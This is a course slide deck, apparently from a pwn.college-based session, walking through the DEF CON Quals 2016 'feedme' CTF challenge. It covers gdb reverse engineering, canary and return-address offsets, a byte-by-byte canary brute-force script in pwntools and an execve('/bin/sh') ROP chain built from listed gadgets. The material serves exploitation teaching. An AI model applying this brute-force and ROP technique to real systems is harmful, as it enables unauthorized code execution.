PWN College

Session 14

Atousa Ahsani

References: https://pwn.college/, https://guyinatuxedo.github.io/

Stack Buffer Overflows

Defcon Quals 2016 feedme

DCQuals'16 Feedme

- It is a **32-bit statically** linked binary, with a **Non-Executable** stack.

```
→ dcquals16_feedme file feedme
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
→ dcquals16_feedme checksec feedme
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

- When we run it, the program prompts us with "*FEED ME!*" and we can give **input**. We also smashed the **stack canary** but ***pwntools*** couldn't detect the canary!

```
→ dcquals16_feedme ./feedme
FEED ME!
hello
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ATE 656c6c6f0a6161616161616161616161...
*** stack smashing detected ***: ./feedme terminated
Child exit.
FEED ME!
```

DCQuals'16 Feedme

- It says the **process terminated** and **child exit** and again asks for an **input**. Then if we keep "smashing", it will again spawn another process. So we guess that the program is **forking** over and over again.
- The binary is probably designed in such a way that it spawns **child processes** which is where we **scan in** the **input** and **overwrite** the stack canary.
- That way when the program sees that the **stack canary** has been edited and terminates the process, the **parent** process spawns **another instance** and continues asking us for **input**.

DCQuals'16 Feedme

- Looking for the references to the string "*FEED ME!*", we find ***FUN_08049036***. The ***FUN_0804fc60*** probably prints the input passed to it.
- We need some **dynamic analysis** in order to find out the functionality of the functions.
- Run the program in gdb and then interrupt it right after asking for **input**. Then use ***bt*** command and examine the addresses.
- You can see that the ***0x08049058*** address is located right after the ***FUN_08048e42*** function is called. So we guess that the ***FUN_08048e42*** function is scanning in the first input and stores it in ***bVar1***.
- Since ***bVar1*** is a **byte** variable, so we guess that this function scans in one byte as input.
- If you check ***eax*** register, you can see the first byte's value.

```
uint FUN_08049036(void)

{
  byte bVar1;
  undefined4 uVar2;
  uint uVar3;
  int in_GS_OFFSET;
  undefined local_30 [32];
  int local_10;

  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  FUN_0804fc60("FEED ME!");
  bVar1 = FUN_08048e42();
  FUN_08048e7e(local_30,(uint)bVar1);
  uVar2 = FUN_08048f6e(local_30,(uint)bVar1,0x10);
  FUN_0804f700("ATE %s\n",uVar2);
  uVar3 = (uint)bVar1;
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
    uVar3 = FUN_0806f5b0();
  }
  return uVar3;
}
```

```
gdb-peda$ bt
#0  0xf7ffc549 in __kernel_vsyscall ()
#1  0x0806d892 in ?? ()
#2  0x08048e63 in ?? ()
#3  0x08049058 in ?? ()
#4  0x080490dc in ?? ()
#5  0x080491da in ?? ()
#6  0x080493ba in ?? ()
#7  0x08048d2b in ?? ()
```

```
gdb-peda$ b* 0x8049058
Breakpoint 1 at 0x8049058
gdb-peda$ r
FEED ME!
hello
[Switching to process 5378]
[----------------------------
EAX: 0x68 ('h')
```

DCQuals'16 Feedme

- Again run the program in ***gdb*** and give the first input (one byte). Then interrupt the program and examine backtrace addresses.

- You can see that the ***0x0804906e*** address is located right after the ***FUN_08048e7e*** function is called. So we guess that this function works like ***read***. It scans in ***bVar1*** amount of **bytes** into ***local_30***.

- Since ***uVar2*** is printed as '%s' so it may be a pointer to a string. Specifically we guess it is a pointer to the first 16 byte of the second input we entered.

```
gdb-peda$ bt
#0  0xf7ffc549 in __kernel_vsyscall ()
#1  0x0806d892 in ?? ()
#2  0x08048eb2 in ?? ()
#3  0x0804906e in ?? ()
#4  0x080490dc in ?? ()
#5  0x080491da in ?? ()
#6  0x080493ba in ?? ()
#7  0x08048d2b in ?? ()
```

```
➜  dcquals16_feedme ./feedme
FEED ME!
!
abbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbc
ATE 0a616262626262626262626262626262...
*** stack smashing detected ***: ./feedme terminated
Child exit.
FEED ME!
```

DCQuals'16 Feedme

- **Where is the canary?** We guess the red rectangles' contents are related to canary!
  - Why? Look at the content of the ***FUN_0806f5b0*** function.

```
0806f5b0 83 ec 0c      SUB    ESP,0xc
0806f5b3 b8 8b 23      MOV    EAX,s_stack_smashing_detected_080c238b     = "stack smashing detected"
         0c 08
0806f5fb c7 44 24      MOV    dword ptr [ESP + local_18],s_***_%s_***:_...= "*** %s ***: %s terminated...
         04 a9 23
         0c 08
```

  - You can see that the strings related to the **stack smashing** error are used here.

```
uint FUN_08049036(void)

{
  byte bVar1;
  undefined4 uVar2;
  uint uVar3;
  int in_GS_OFFSET;
  undefined local_30 [32];
  int local_10;

  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  FUN_0804fc60("FEED ME!");
  bVar1 = FUN_08048e42();
  FUN_08048e7e(local_30,(uint)bVar1);
  uVar2 = FUN_08048f6e(local_30,(uint)bVar1,0x10);
  FUN_0804f700("ATE %s\n",uVar2);
  uVar3 = (uint)bVar1;
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
    uVar3 = FUN_0806f5b0();
  }
  return uVar3;
}
```

- Now we want to use gdb in order to get the offset from our **input** to the **stack canary** and the **return address**.

- We can set a breakpoint right after the ***FUN_08048e7e*** function is called.

DCQuals'16 Feedme

- We set a breakpoint at ***0x804906e*** and we expect the program to be interrupted right after the **second input** is scanned in. But it does not happen!
- So let's take a look at the code again. We searched the "child" string in code to see where it is used. We find the ***FUN_080490b0*** function.
- Since we know that the program uses ***fork*** so we guess ***local_14*** is the result of the ***fork*** being called. If it is equal to zero, the loop will break and the ***FUN_08049036*** (the "*FEED ME!*" function) will be executed.
- So we have to set the ***follow-fork-mode*** of **gdb** to "***child***" mode. So that gdb will follow the child process, not the parent process (The default mode is "***parent***" mode).

```
gdb-peda$ b* 0x804906e
Breakpoint 1 at 0x804906e
gdb-peda$ r
Starting program: /home/feedme
[Detaching after fork from child process 4934]
FEED ME!
0
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkll
ATE 0a61616161626262626363636364646464...
*** stack smashing detected ***: /home/feedme terminated
Child exit.
[Detaching after fork from child process 4936]
FEED ME!
```

```
void FUN_080490b0(void)

{
  uint uVar1;
  int local_1c;
  uint local_18;
  int local_14;
  int local_10;

  local_1c = 0;
  local_18 = 0;
  while( true ) {
    if (799 < local_18) {
      return;
    }
    local_14 = FUN_0806cc70();
    if (local_14 == 0) break;
    local_10 = FUN_0806cbe0(local_14,&local_1c,0);
    if (local_10 == -1) {
      FUN_0804fc60("Wait error!");
      FUN_0804ed20(0xffffffff);
    }
    if (local_1c == -1) {
      FUN_0804fc60("Child IO error!");
      FUN_0804ed20(0xffffffff);
    }
    FUN_0804fc60("Child exit.");
    FUN_0804fa20(0);
    local_18 = local_18 + 1;
  }
  uVar1 = FUN_08049036(); This is "FEED ME!" function
  FUN_0804f700("YUM, got %d bytes!\n",uVar1 & 0xff);
  return;
}
```

DCQuals'16 Feedme

- **fork() in C**
  - Fork system call is used for creating a **new process**, which is called **child** process, which runs **concurrently** with the process that makes the **fork**() call (**parent** process).
  - After a new child process is created, **both** processes will execute the **next instruction** following the **fork**() system call.
  - A child process uses the **same program counter**, **same CPU registers**, **same open files** which use in the parent process.
  - It takes **no parameters** and returns an **integer** value.
  - Different values returned by **fork**()
    - **Negative Value**: creation of a child process was **unsuccessful**.
    - **Zero**: Returned to the **newly created child** process.
    - **Positive value**: Returned to **parent** or **caller**. The value contains **process ID** of newly created child process.

DCQuals'16 Feedme

- Set the ***follow-fork-mode*** to ***child*** mode and then set the breakpoint.
- We can see that our **input** is being scanned in starting at ***0xffffd00c***.
- We can see that the **return address** is at ***0xffffd03c***. The offset between the input and the return address is:
  - $0xffffd03c - 0xffffd00c = 0x30 = 48$
- We continued the program and got the ***stack smashing*** error. The canary value is changed!

```
gdb-peda$ c
Continuing.
ATE 0a61616161626262626363636364646464...
*** stack smashing detected ***: /home/feedme terminated
```

```
gdb-peda$ show follow-fork-mode
Debugger response to a program call of fork or vfork is "parent".
gdb-peda$ set follow-fork-mode child
gdb-peda$ show follow-fork-mode
Debugger response to a program call of fork or vfork is "child".
gdb-peda$ b* 0x804906e
Breakpoint 1 at 0x804906e
gdb-peda$ r
Starting program: /home/feedme
[Attaching after process 5189 fork to child process 5193]
[New inferior 2 (process 5193)]
[Detaching after fork from parent process 5189]
[Inferior 1 (process 5189) detached]
FEED ME!
0     ASCII => 48
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkll len => 46
[Switching to process 5193]

Thread 2.1 "feedme" hit Breakpoint 1, 0x0804906e in ?? ()
gdb-peda$ x/4w $esp
0xffffcff0:     0xffffd00c      0x00000030      0x00000000      0x0806ccb7
gdb-peda$ x/20w 0xffffd00c
0xffffd00c:     0x6161610a      0x62626261      0x63636362      0x64646463
0xffffd01c:     0x65656564      0x66666665      0x67676766      0x68686867
0xffffd02c:     0x69696968      0x6a6a6a69      0x6b6b6b6a      0x0a6c6c6b
0xffffd03c:     0x080490dc      0x080ea0a0      0x00000000      0x080ed840
0xffffd04c:     0x0804f8b4      0x00000000      0x00000000      0x00000000
gdb-peda$ i f
Stack level 0, frame at 0xffffd040:
 eip = 0x804906e; saved eip = 0x80490dc
 called by frame at 0xa6c6c73
 Arglist at 0xffffd038, args:
 Locals at 0xffffd038, Previous frame's sp is 0xffffd040
 Saved registers:
  ebp at 0xffffd038, eip at 0xffffd03c
```

DCQuals'16 Feedme

- **Where is the canary??**
- Let's set a breakpoint before scanning in the **second input** in order to examine stack.

```
gdb-peda$ b* 0x8049069
Breakpoint 1 at 0x8049069
gdb-peda$ r
FEED ME!
0
[Switching to process 6446]
Thread 2.1 "feedme" hit Breakpoint 1, 0x08049069 in ?? ()
gdb-peda$
gdb-peda$ x/4w $esp
0xffffcff0:     0xffffd00c      0x00000030      0x00000000      0x0806ccb7
gdb-peda$ x/20w 0xffffd00c
0xffffd00c:     0x00000000      0x00002710      0x00000000      0x00000000
0xffffd01c:     0x00000000      0x080ea0a0      0x00000000      0x00000000
0xffffd02c:     0x05580c00      0x00000000      0x080ea00c      0xffffd068
0xffffd03c:     0x080490dc      0x080ea0a0      0x00000000      0x080ed840
0xffffd04c:     0x0804f8b4      0x00000000      0x00000000      0x00000000
```

The offset between input and canary:

$$0xffffd02c - 0xffffd00c = 0x20 = 32$$

- We can also see that the stack canary is ***0x05580c00*** at ***0xffffd02c***.
  - We can tell this since stack canaries in **x86** are **4 byte random** values, with the **last value** being a **null byte**.

DCQuals'16 Feedme

- So we can see that the offset to the **stack canary** is **0x20 bytes**, and that the offset to the **return address** is **0x30 bytes**. Both are well within the reach of our **buffer overflow**.
- So we have the ability to overwrite the **return address**.
- The only thing stopping us other than the **NX** is the **stack canary**. However we can **brute force** it.
- Thing is, all of the **child processes** will share the **same canary**. For the canary it will have **4 bytes**, **one null byte** and **three random bytes** (so only **three** bytes that we don't know).
- What we can do is to **overwrite** the **stack canary** one byte at a time. The byte we overwrit, will essentially be a guess.
- If the **child** process **dies** we know that it was **incorrect**, and if it doesn't, then we will know that our guess was correct.

DCQuals'16 Feedme

- There are **256** different values that byte be, and since there are **three** bytes we are guessing that gives us $256 \times 3 = 768$ possible guesses to guess every combination if we guess one byte at a time. With that we can deal with the stack canary.

- Recall the ***FUN_080480b0*** function. It is calling the function responsible for setting up a **child** process in a **loop** that will run for **800 times**. That means that we can crash a child process up to **800 times**.

- After that, we will have the stack canary and nothing will be able to stop us from getting code execution. Then the question comes up of what to execute. NX is turned on, so we can't jump to shellcode we place on the stack. However the elf doesn't have **PIE** (randomizes the address of code) enabled, so building a **ROP chain** without an **infoleak** is possible.

- For this ROP Chain, We will be making a ***syscall*** to ***/bin/sh***, which would grant us a **shell**.

DCQuals'16 Feedme

- How to execute a system call in **x86** architecture?

NR	syscall name	references	%eax	arg0 (%ebx)	arg1 (%ecx)	arg2 (%edx)
11	execve	man/ cs/	0x0b	const char *filename	const char *const *argv	const char *const *envp

- Now let's find the gadgets.

```
→  dcquals16_feedme ROPgadget --binary feedme | grep ": pop eax ; ret$"
0x080bb496 : pop eax ; ret
→  dcquals16_feedme ROPgadget --binary feedme | grep ": pop ebx ; ret$"
0x080481c9 : pop ebx ; ret
→  dcquals16_feedme ROPgadget --binary feedme | grep ": pop edx ; ret$"
0x0806f34a : pop edx ; ret
→  dcquals16_feedme ROPgadget --binary feedme | grep ": pop ecx ; .* ret$"
0x080e728c : pop ecx ; add dword ptr [edx], ecx ; push cs ; adc al, 0x41 ; ret
0x080e2dc3 : pop ecx ; add dword ptr [edx], ecx ; push cs ; adc al, 0x43 ; ret
0x080e59e1 : pop ecx ; add ecx, dword ptr [edx] ; ret
0x080d4e26 : pop ecx ; inc esp ; aas ; mov ch, 0x31 ; mov ah, bl ; push esi ; ret
0x080e803f : pop ecx ; or cl, byte ptr [esi] ; adc al, 0x41 ; ret
0x080daff9 : pop ecx ; or cl, byte ptr [esi] ; adc al, 0x43 ; ret
0x080e646f : pop ecx ; or cl, byte ptr [esi] ; adc al, 0x46 ; ret
0x080e2753 : pop ecx ; or cl, byte ptr [esi] ; or al, 0x43 ; ret
0x0806f371 : pop ecx ; pop ebx ; ret
0x080e7240 : pop ecx ; push cs ; or al, 0x41 ; ret
```

- Unfortunately there are no gadgets that will just ***pop*** a value into the ***ecx*** register then return, so we use the gadget in ***0x0806f371***. We can control the value of the ***ecx*** register.

DCQuals'16 Feedme

- This gadget will allow us to move the contents of the ***edx*** register into the area of space pointed to by the address of ***eax***, then return. It will write a **four byte** value to a memory region.

```
→  dcquals16_feedme ROPgadget --binary feedme | grep ": mov dword ptr \[eax\], edx ; ret"
0x0807be31 : mov dword ptr [eax], edx ; ret
```

- This gadget is a **syscall**, which will allow us to make a **syscall** to the **kernell** to get a **shell** (to get a syscall in **x86**, you can call ***int 0x80***).

```
→  dcquals16_feedme ROPgadget --binary feedme | grep ": int 0x80"
0x08049761 : int 0x80
```

- Syscall will expect **three** arguments:
  - the integer 11 (***execve***) in ***eax*** for the syscall number,
  - the bss address ***0x80e9b00*** in the ***ebx*** register for the address of “/bin/sh”,
  - the value 0x0 in ***ecx*** and ***edx*** registers (syscall will look for arguments in those registers, however we don't need them so we should just set them to null).

- More info on **syscalls**:
  - https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux

DCQuals'16 Feedme

- Now we are going to have to write the string ***/bin/sh*** somewhere in memory, at an address that we know in order to pass it as an argument to the syscall.

- We can examine the **writable** sections of memory.

```
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x080e9000 r-xp      /home/dcquals16_feedme/feedme
0x080e9000 0x080eb000 rw-p      /home/dcquals16_feedme/feedme
0x080eb000 0x0810f000 rw-p      [heap]
0xf7ff8000 0xf7ffc000 r--p      [vvar]
0xf7ffc000 0xf7ffe000 r-xp      [vdso]
0xfffdd000 0xffffe000 rw-p      [stack]
```

- You can find some places that have no data. We choose ***0x80e9b00*** address and write /**bin/sh** to this address.

DCQuals'16 Feedme

- What we can do for this, is to write it to the **bss address *0x80e9b00***. Since it is in the ***bss***, it will have a **static** address, so we don't need an **infoleak** to write to and call it.
- Since this is **32 bit**, registers can only hold 4 bytes, so we can only write 4 characters at a time.

```
# Write the string '/bin' to the bss address 0x80e9b00

payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0x80e9b00)     # bss address
payload += p32(0x0806f34a)    # pop edx
payload += p32(0x6e69622f)    # /bin string in hex, in little endian
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret
```

DCQuals'16 Feedme

```
# Write the second half of the string '/bin/sh' the '/sh' to 0x80e9b00 + 0x4

payload += p32(0x080bb496)         # pop eax ; ret
payload += p32(0x80e9b00 + 0x4)    # bss address + 0x4 to write after '/bin'
payload += p32(0x0806f34a)         # pop edx
payload    += p32(0x0068732f)      # /sh string in hex, in little endian
payload += p32(0x0807be31)         # mov dword ptr [eax], edx ; ret
```

- System call:

system call number	1st parameter	2nd parameter	3rd parameter	4th parameter	5th parameter	6th parameter	result
eax	ebx	ecx	edx	esi	edi	ebp	eax

```
payload += p32(0x080bb496)         # pop eax ; ret
payload += p32(0xb)                # 11
payload += p32(0x0806f371)         # pop ecx ; pop ebx ; ret
payload += p32(0x0)                # 0x0 --> ecx value
payload += p32(0x80e9b00)          # bss address --> ebx value
payload += p32(0x0806f34a)         # pop edx ; ret
payload += p32(0x0)                # 0x0
payload += p32(0x8049761)          # syscall
```

DCQuals'16 Feedme

- This function performs canary brute force and find the value.

- After finding canary value, we have to make a ROP chain and send malicious payload to the binary in order to get the shell access.

```python
from pwn import *

def breakCanary():
    known_canary = "\x00"
    hex_canary = "00"
    canary = 0x0
    inp_bytes = 34
    for j in range(0, 3):
        for i in xrange(0xff):
            log.info("Trying canary: " + hex(canary) + hex_canary)
            target.send(p32(inp_bytes)[0])
            target.send("0"*0x20 + known_canary + p32(canary)[0])
            output = target.recvuntil("exit.")
            if "YUM" in output:
                print "next byte is: " + hex(canary)
                known_canary = known_canary + p32(canary)[0]
                inp_bytes = inp_bytes + 1
                new_canary = hex(canary)
                new_canary = new_canary.replace("0x", "")
                hex_canary = new_canary + hex_canary
                canary = 0x0
                break
            else:
                canary = canary + 0x1
    return int(hex_canary, 16)
```